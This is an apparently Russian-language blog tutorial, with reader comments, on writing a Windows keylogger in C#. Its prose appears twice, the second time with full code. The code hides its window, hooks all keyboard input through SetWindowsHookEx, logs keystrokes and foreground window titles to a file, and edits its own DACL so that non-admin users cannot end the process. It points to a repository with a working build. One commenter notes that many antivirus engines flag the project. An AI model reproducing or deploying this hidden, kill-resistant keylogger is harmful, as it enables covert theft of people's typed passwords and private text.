Здесь будет рассмотрено создание Keylogger на базе .Net C# с вызовами системных функций. Сами системные функции в кратце описываются, но лучше прочитать официальную документацию от Microsoft. Ссылка на репозиторий с рабочей сборкой приведена в конце, так же как и ссылка на доккументацию.
Что будет реализовано:
Для написания понадобится C#, знание Win API и DACL Windows.
Итак, разберем несколько типов системных кодов, которые будут необходимы, каждый тип будет храниться в отдельном Enum.
Типы хуков (hooks).
Чтобы отлавливать все события, связанные с клавиатурой, нужен тип WH_KEYBOARD_LL. Все остальные типы хуков требуют реализации отдельных DLL, кроме еще одного хука WH_MOUSE_LL — события связанные с мышью.
Типы событий связанные с клавиатурой, нажатие и отпускание клавиши.
Будем записывать вводимые символы по отпусканию клавиши — WM_KEYUP.
Отдельно типы для отлавливания перехода пользователя с одного окна приложения на другое.
Enum для того чтобы задействовать сочетание клавиш на отключение программы.
Для того чтобы реализовать все пункты сначала создаем Форму и прячем ее от пользователя. Достаточно переопределить базовый метод SetVisibleCore.
Форма будет запускаться при старте программы.
Есть форма и теперь нужно добавить главную функцию — перехват ввода с клавиатуры. Используем Win API метод SetWindowsHookEx, в качестве параметров будут передаваться:
Сам метод который обрабатывает хук. В нем несколько параметров, nCode — для того чтобы понимать нужно ли обрабатывать текущее событие или сразу же передать дальше,
wParam — тип события (нажатие или отпускание клавиши), lParam — символ который сейчас нажат. По сути lParam это массив байтов, так что в нем хранится дополнительная информация, например, количество символов если пользователь удерживает клавишу а машина, на которой происходит обработка, медленная.
Данная реализация записывает символ только после того как пользователь отпустил клавишу. Чтобы записать количество символов, нужно имплементировать случай с типом WM_KEYDOWN.
SetKeysState метод служит для того чтобы знать в каком состояние находятся дополнительные клавиши, например клавиши влияющие на регистр.
GetKeyState — это еще один метод Win API, через который можно узнать состояние по коду клавиши.
В методе GetSymbol, сначала запрашивается код раскладки клавиатуры GetKeyboardLayout текущего окна, и затем ToUnicodeEx чтобы получить символ, оба Win API методы. Если задействованы клавиши влияющие на регистр то символ необходимо привести к верхнему регистру.
Этого будет достаточно для логирования ввода с клавиатуры. Но чтобы записывать текущее активное окно нужно использовать другой хук.
Тип EVENT_SYSTEM_FOREGROUND нужен для того чтобы отслеживать изменение активного окна. А WINEVENT_OUTOFCONTEXT указывает на то что callBack метод находится в нашем приложении.
Метод передаваемый в цепочку хуков содержит множество параметров, которые могут быть полезны при более детальной реализации, для этого случая достаточно узнать активное окно и его заголовок.
То есть каждое событие смены окна будет записываться. И в GetActiveWindowTitle достаточно использовать пару Win API методов GetForegroundWindow — узнать идентификатор текущего активного окна, после запросить заголовок с помощью GetWindowText.
До этого момента все вызовы системных функций были взяты из библиотеки User32 и Kernel32. На следующем шаге понадобится библиотека advapi32.
Третий шаг заключается в том чтобы не дать обычному пользователя завершить процесс записи ввода с клавиатуры. Сначала необходимо получить дескриптор данного процесса а потом его изменить, добавив запись в DACL.
Получение дескриптора процесса происходит через GetKernelObjectSecurity, метод вызывается два раза, сначала получаем длину дескриптора, а вторым вызовом получаем непосредственно дескриптор процесса.
После изменения дескриптора нужно внести эту информацию в текущий процесс. Достаточно передать идентификатор и дескриптор процесса в системный метод SetKernelObjectSecurity.
Завершающий этап — остановка процесса по сочетанию клавиш.
Здесь key это сочетание клавиш, а handle идентификатор спрятанной формы. Чтобы распознать сочетание клавиш на форме создается keyId, по которому можно проверять срабатывание комбинации клавиш. И все это записываем через Win API метод RegisterHotKey.
И чтобы наконец остановить процесс переопределяем метод WndProc в форме.
Полезные ссылки:
Ссылка на репозиторий
Ссылка на документацию MS.
Что будет реализовано:
- Логирование ввода с клавиатуры.
- Логирование активного окна.
- Блокировка процесса от пользователя без привилегий администратора.
- Остановка процесса по сочетанию клавиш.
Для написания понадобится C#, знание Win API и DACL Windows.
Итак, разберем несколько типов системных кодов, которые будут необходимы, каждый тип будет храниться в отдельном Enum.
Типы хуков (hooks).
public enum HookTypes
{
WH_CALLWNDPROC = 4,
WH_CALLWNDPROCRET = 12,
WH_KEYBOARD = 2,
WH_KEYBOARD_LL = 13,
WH_MOUSE = 7,
WH_MOUSE_LL = 14,
WH_JOURNALRECORD = 0,
WH_JOURNALPLAYBACK = 1,
WH_FOREGROUNDIDLE = 11,
WH_SYSMSGFILTER = 6,
WH_GETMESSAGE = 3,
WH_CBT = 5,
WH_HARDWARE = 8,
WH_DEBUG = 9,
WH_SHELL = 10,
}
Чтобы отлавливать все события, связанные с клавиатурой, нужен тип WH_KEYBOARD_LL. Все остальные типы хуков требуют реализации отдельных DLL, кроме еще одного хука WH_MOUSE_LL — события связанные с мышью.
Типы событий связанные с клавиатурой, нажатие и отпускание клавиши.
public enum KeyboardEventTypes
{
WM_KEYDOWN = 0x0100,
WM_KEYUP = 0x0101,
}
Будем записывать вводимые символы по отпусканию клавиши — WM_KEYUP.
Отдельно типы для отлавливания перехода пользователя с одного окна приложения на другое.
public class WinEventTypes
{
public const uint WINEVENT_OUTOFCONTEXT = 0;
public const uint EVENT_SYSTEM_FOREGROUND = 3;
}
Enum для того чтобы задействовать сочетание клавиш на отключение программы.
public enum CombineKeys
{
MOD_ALT = 0x1,
MOD_CONTROL = 0x2,
MOD_SHIFT = 0x4,
MOD_WIN = 0x8,
WM_HOTKEY = 0x0312,
}
Для того чтобы реализовать все пункты сначала создаем Форму и прячем ее от пользователя. Достаточно переопределить базовый метод SetVisibleCore.
protected override void SetVisibleCore(bool value)
{
base.SetVisibleCore(false);
}
Форма будет запускаться при старте программы.
Application.Run(HiddenForm);
Есть форма и теперь нужно добавить главную функцию — перехват ввода с клавиатуры. Используем Win API метод SetWindowsHookEx, в качестве параметров будут передаваться:
- Тип хука — WH_KEYBOARD_LL.
- Функция обратного вызова, т.е. тот метод который должен обрабатывать все события связанные с клавиатурой.
- Идентификатор текущего модуля.
- Идентификатор потока — 0. Ноль чтобы хук ассоциировался со всеми потоками.
internal IntPtr SetHook(HookTypes typeOfHook, HookProc callBack)
{
using (Process currentProcess = Process.GetCurrentProcess())
using (ProcessModule currentModule = currentProcess.MainModule)
{
return SetWindowsHookEx((int)typeOfHook, callBack,
GetModuleHandle(currentModule.ModuleName), 0);
}
}
Сам метод который обрабатывает хук. В нем несколько параметров, nCode — для того чтобы понимать нужно ли обрабатывать текущее событие или сразу же передать дальше,
wParam — тип события (нажатие или отпускание клавиши), lParam — символ который сейчас нажат. По сути lParam это массив байтов, так что в нем хранится дополнительная информация, например, количество символов если пользователь удерживает клавишу а машина, на которой происходит обработка, медленная.
internal static IntPtr KeyLoggerHookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)KeyboardEventTypes.WM_KEYUP)
{
int vkCode = Marshal.ReadInt32(lParam);
SetKeysState();
var saveText = GetSymbol((uint)vkCode);
File.AppendAllText(_fileName, saveText);
}
return CallNextHookEx(HookId, nCode, wParam, lParam);
}
Данная реализация записывает символ только после того как пользователь отпустил клавишу. Чтобы записать количество символов, нужно имплементировать случай с типом WM_KEYDOWN.
SetKeysState метод служит для того чтобы знать в каком состояние находятся дополнительные клавиши, например клавиши влияющие на регистр.
private static void SetKeysState()
{
_capsLock = GetKeyState((int)Keys.CapsLock) != 0;
_numLock = GetKeyState((int)Keys.NumLock) != 0;
_scrollLock = GetKeyState((int)Keys.Scroll) != 0;
_shift = GetKeyState((int)Keys.ShiftKey) != 0;
}
GetKeyState — это еще один метод Win API, через который можно узнать состояние по коду клавиши.
private static string GetSymbol(uint vkCode)
{
var buff = new StringBuilder(maxChars);
var keyboardState = new byte[maxChars];
var keyboard = GetKeyboardLayout(
GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero));
ToUnicodeEx(vkCode, 0, keyboardState, buff, maxChars, 0, (IntPtr)keyboard);
var buffSymbol = buff.ToString();
var symbol = buffSymbol.Equals("\r")
? Environment.NewLine
: buffSymbol;
if (_capsLock ^ _shift)
symbol = symbol.ToUpperInvariant();
return symbol;
}
В методе GetSymbol, сначала запрашивается код раскладки клавиатуры GetKeyboardLayout текущего окна, и затем ToUnicodeEx чтобы получить символ, оба Win API методы. Если задействованы клавиши влияющие на регистр то символ необходимо привести к верхнему регистру.
Этого будет достаточно для логирования ввода с клавиатуры. Но чтобы записывать текущее активное окно нужно использовать другой хук.
internal IntPtr SetWinHook(WinEventProc callBack)
{
using (Process currentProcess = Process.GetCurrentProcess())
using (ProcessModule currentModule = currentProcess.MainModule)
{
return SetWinEventHook(
WinEventTypes.EVENT_SYSTEM_FOREGROUND,
WinEventTypes.EVENT_SYSTEM_FOREGROUND,
GetModuleHandle(currentModule.ModuleName),
callBack, 0, 0, WinEventTypes.WINEVENT_OUTOFCONTEXT);
}
}
Тип EVENT_SYSTEM_FOREGROUND нужен для того чтобы отслеживать изменение активного окна. А WINEVENT_OUTOFCONTEXT указывает на то что callBack метод находится в нашем приложении.
Метод передаваемый в цепочку хуков содержит множество параметров, которые могут быть полезны при более детальной реализации, для этого случая достаточно узнать активное окно и его заголовок.
internal static void ActiveWindowsHook(
IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime)
{
File.AppendAllText(_fileName, $"{Environment.NewLine}{GetActiveWindowTitle()}{Environment.NewLine}");
}
То есть каждое событие смены окна будет записываться. И в GetActiveWindowTitle достаточно использовать пару Win API методов GetForegroundWindow — узнать идентификатор текущего активного окна, после запросить заголовок с помощью GetWindowText.
private static string GetActiveWindowTitle()
{
var buff = new StringBuilder(maxChars);
var handle = GetForegroundWindow();
if (GetWindowText(handle, buff, maxChars) > 0)
{
return buff.ToString();
}
return null;
}
До этого момента все вызовы системных функций были взяты из библиотеки User32 и Kernel32. На следующем шаге понадобится библиотека advapi32.
Третий шаг заключается в том чтобы не дать обычному пользователя завершить процесс записи ввода с клавиатуры. Сначала необходимо получить дескриптор данного процесса а потом его изменить, добавив запись в DACL.
internal void BlockForNotAdminUsers()
{
var hProcess = Process.GetCurrentProcess().Handle;
var securityDescriptor = GetProcessSecurityDescriptor(hProcess);
var sid = WindowsIdentity.GetCurrent().User.AccountDomainSid;
securityDescriptor.DiscretionaryAcl.InsertAce(
0,
new CommonAce(
AceFlags.None,
AceQualifier.AccessDenied,
(int)ProcessAccessRights.PROCESS_ALL_ACCESS,
new SecurityIdentifier(WellKnownSidType.WorldSid, sid),
false,
null));
SetProcessSecurityDescriptor(hProcess, securityDescriptor);
}
Получение дескриптора процесса происходит через GetKernelObjectSecurity, метод вызывается два раза, сначала получаем длину дескриптора, а вторым вызовом получаем непосредственно дескриптор процесса.
private RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle)
{
var psd = new byte[0];
GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out uint bufSizeNeeded);
if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue)
throw new Win32Exception();
if (!GetKernelObjectSecurity(
processHandle,
DACL_SECURITY_INFORMATION,
psd = new byte[bufSizeNeeded],
bufSizeNeeded,
out bufSizeNeeded))
throw new Win32Exception();
return new RawSecurityDescriptor(psd, 0);
}
После изменения дескриптора нужно внести эту информацию в текущий процесс. Достаточно передать идентификатор и дескриптор процесса в системный метод SetKernelObjectSecurity.
private void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor securityDescriptor)
{
var rawsd = new byte[securityDescriptor.BinaryLength];
securityDescriptor.GetBinaryForm(rawsd, 0);
if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd))
throw new Win32Exception();
}
Завершающий этап — остановка процесса по сочетанию клавиш.
internal static int SetHotKey(Keys key, IntPtr handle)
{
int modifiers = 0;
if ((key & Keys.Alt) == Keys.Alt)
modifiers |= (int)CombineKeys.MOD_ALT;
if ((key & Keys.Control) == Keys.Control)
modifiers |= (int)CombineKeys.MOD_CONTROL;
if ((key & Keys.Shift) == Keys.Shift)
modifiers |= (int)CombineKeys.MOD_SHIFT;
Keys keys = key & ~Keys.Control & ~Keys.Shift & ~Keys.Alt;
var keyId = key.GetHashCode();
RegisterHotKey(handle, keyId, modifiers, (int)keys);
return keyId;
}
Здесь key это сочетание клавиш, а handle идентификатор спрятанной формы. Чтобы распознать сочетание клавиш на форме создается keyId, по которому можно проверять срабатывание комбинации клавиш. И все это записываем через Win API метод RegisterHotKey.
И чтобы наконец остановить процесс переопределяем метод WndProc в форме.
protected override void WndProc(ref Message m)
{
if (m.Msg == (int)CombineKeys.WM_HOTKEY)
{
if ((int)m.WParam == KeyId)
{
UnregisterHotKey(Handle, KeyId);
Application.Exit();
}
}
base.WndProc(ref m);
}
Полезные ссылки:
Ссылка на репозиторий
Ссылка на документацию MS.
Комментарии (8)
a-tk
01.01.2020 22:20+2Интересно, а зачем здесь вообще «тонкая» обертка на C# к Win32API? Код на Си явно лаконичнее вышел бы.
withkittens
01.01.2020 23:34Насчёт «тонкой» обёртки: она предустановлена на всех имеющих значимость версиях винды.
a-tk
02.01.2020 10:09Я про выдёргивание из Windows.h всех констант, которые были перенесены в enum-ы.
DistortNeo
02.01.2020 02:28+2А вот не факт.
Во-первых, на C пришлось бы писать цикл сообщений.
А во-вторых, однострочники типа
WindowsIdentity.GetCurrent().User.AccountDomainSid File.AppendAllText(_fileName, $"{Environment.NewLine}{GetActiveWindowTitle()}{Environment.NewLine}");
развернулись бы в кучу сишного кода.
skovpen
VirusTotal говорит, что 22 антивируса убьют этот проект на подходе.